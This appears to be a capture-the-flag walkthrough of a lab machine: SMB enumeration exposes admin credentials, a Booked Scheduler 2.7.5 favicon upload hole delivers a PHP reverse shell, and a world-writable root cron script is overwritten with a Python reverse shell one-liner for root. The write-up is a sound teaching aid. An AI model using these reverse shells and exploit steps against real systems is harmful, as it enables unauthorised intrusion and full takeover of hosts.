Summary

We will exploit this machine through the Booked Scheduler web application using a password found in an open samba share. After logging in, we'll upload a PHP reverse shell to gain the initial foothold on the machine. Next, we'll escalate via the a scheduled script, which we will edit to run a reverse shell, granting us root access.

Enumeration

Nmap

We'll start with an nmap scan against all TCP ports.

kali@kali:~$ sudo nmap -p- 192.168.130.64
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-12-21 17:50 UTC
Nmap scan report for 192.168.130.64
Host is up (0.031s latency).
Not shown: 65529 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
8003/tcp open  mcreport

Nmap done: 1 IP address (1 host up) scanned in 116.92 seconds
kali@kali:~$

Enumerating port 8003, we discover the /booked/ directory.

kali@kali:~$ sudo nmap -p 8003 192.168.130.64 -A -sV -T4
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-12-21 17:57 UTC
Nmap scan report for 192.168.130.64
Host is up (0.035s latency).

PORT     STATE SERVICE VERSION
8003/tcp open  http    Apache httpd 2.4.38
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2019-02-05 21:02  booked/
|_
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Index of /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 2.6.X (86%)
OS CPE: cpe:/o:linux:linux_kernel:2.6
Aggressive OS guesses: Linux 2.6.18 - 2.6.22 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 127.0.1.1

TRACEROUTE (using port 8003/tcp)
HOP RTT      ADDRESS
1   37.37 ms 192.168.49.1
2   39.02 ms 192.168.130.64

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 34.30 seconds
kali@kali:~$

Samba Enumeration

Next, we'll enumerate the open Samba share, using a blank password...

kali@kali:~$ smbclient -L \\\\\\\\192.168.130.64
Enter WORKGROUP\\root's password:

        Sharename       Type      Comment
        ---------       ----      -------
        zino            Disk      Logs
        print$          Disk      Printer Drivers
        IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
SMB1 disabled -- no workgroup available
kali@kali:~$

...and explore the zino directory.

kali@kali:~$ smbclient '//192.168.130.64/zino'
Enter WORKGROUP\\root's password:
Try "help" to get a list of possible commands.
smb: \\> ls
  .                                   D        0  Thu Jul  9 19:11:49 2020
  ..                                  D        0  Tue Apr 28 13:38:53 2020
  .bash_history                       H        0  Tue Apr 28 15:35:28 2020
  error.log                           N      265  Tue Apr 28 14:07:32 2020
  .bash_logout                        H      220  Tue Apr 28 13:38:53 2020
  local.txt                           N       33  Mon Dec 21 17:47:08 2020
  .bashrc                             H     3526  Tue Apr 28 13:38:53 2020
  .gnupg                             DH        0  Tue Apr 28 14:17:02 2020
  .profile                            H      807  Tue Apr 28 13:38:53 2020
  misc.log                            N      424  Tue Apr 28 14:08:15 2020
  auth.log                            N      368  Tue Apr 28 14:07:54 2020
  access.log                          N     5464  Tue Apr 28 14:07:09 2020
  ftp                                 D        0  Tue Apr 28 14:12:56 2020

                7158264 blocks of size 1024. 4726784 blocks available
smb: \\>

After downloading the log files for further analysis, we turn our attention to the misc.log file.

smb: \\> get misc.log
getting file \\misc.log of size 424 as misc.log (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
smb: \\> exit
kali@kali:~$ cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
kali@kali:~$

We'll make a note of the plaintext admin:adminadmin credentials.

Exploitation

Booked Scheduler File Upload Vulnerability

Navigating to http://192.168.130.64:8003/booked/, we are redirected to http://192.168.130.64:8003/booked/Web/?. The footer indicates that this app is Booked Scheduler v2.7.5.

This version of the software has a file upload vulnerability (https://www.exploit-db.com/exploits/46486), which requires user credentials for the application. Since the admin:adminadmin credentials work against http://192.168.130.64:8003/booked/Web/index.php, we can use them for this exploit.

Since this Metasploit module is inconsistent, we will replicate the exploit manually. First, we'll navigate to http://192.168.130.64:8003/booked/Web/admin/manage_theme.php and download a PHP reverse shell from http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz.

We'll update the IP address to match our Kali machine, and select port 8003. Next, we'll upload the shell under the Favicon upload control. Even though the user interface does not indicate it, the file will be successfully uploaded after clicking Update.

As the exploit suggests, our reverse shell file was saved as /var/www/html/booked/Web/custom-favicon.php. Let's start a netcat listener on port 8003 and navigate to our reverse shell at http://192.168.130.64:8003/booked/Web/custom-favicon.php to obtain remote code execution as the www-data user.

kali@kali:~$ nc -lvp 8003
listening on [any] 8003 ...
192.168.130.64: inverse host lookup failed: Unknown host
connect to [192.168.49.130] from (UNKNOWN) [192.168.130.64] 44046
Linux zino 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
 13:16:30 up 32 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@zino:/$

Escalation

Crontab

Now that we have our foothold, let's investigate crontab jobs.

www-data@zino:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 *   * * *   root    python /var/www/html/booked/cleanup.py
#
www-data@zino:/$

The last job (python /var/www/html/booked/cleanup.py) is worth investigating, especially since it runs with root privileges. It is owned by the www-data user.

www-data@zino:/$ ls -la /var/www/html/booked/cleanup.py
ls -la /var/www/html/booked/cleanup.py
-rwxrwxrwx 1 www-data www-data 164 Apr 28  2020 /var/www/html/booked/cleanup.py
www-data@zino:/$

This means that we can write to the file and the contents of the file will be executed as root. We can abuse this misconfiguration by replacing the contents of the python script with a reverse shell.

www-data@zino:/$ echo "" > /var/www/html/booked/cleanup.py
echo """" > /var/www/html/booked/cleanup.py
www-data@zino:/$  cat <<EOT>> /var/www/html/booked/cleanup.py
 cat <<EOT>> /var/www/html/booked/cleanup.py
> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.130",445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
<s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
> EOT
EOT
www-data@zino:/$

Let's set up a netcat listener on port 445 and wait for the cron job to run.

kali@kali:~$ sudo nc -lvp 445
listening on [any] 445 ...
192.168.130.64: inverse host lookup failed: Unknown host
connect to [192.168.49.130] from (UNKNOWN) [192.168.130.64] 50572
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

Eventually, we receive a connection and confirm that we have a root shell!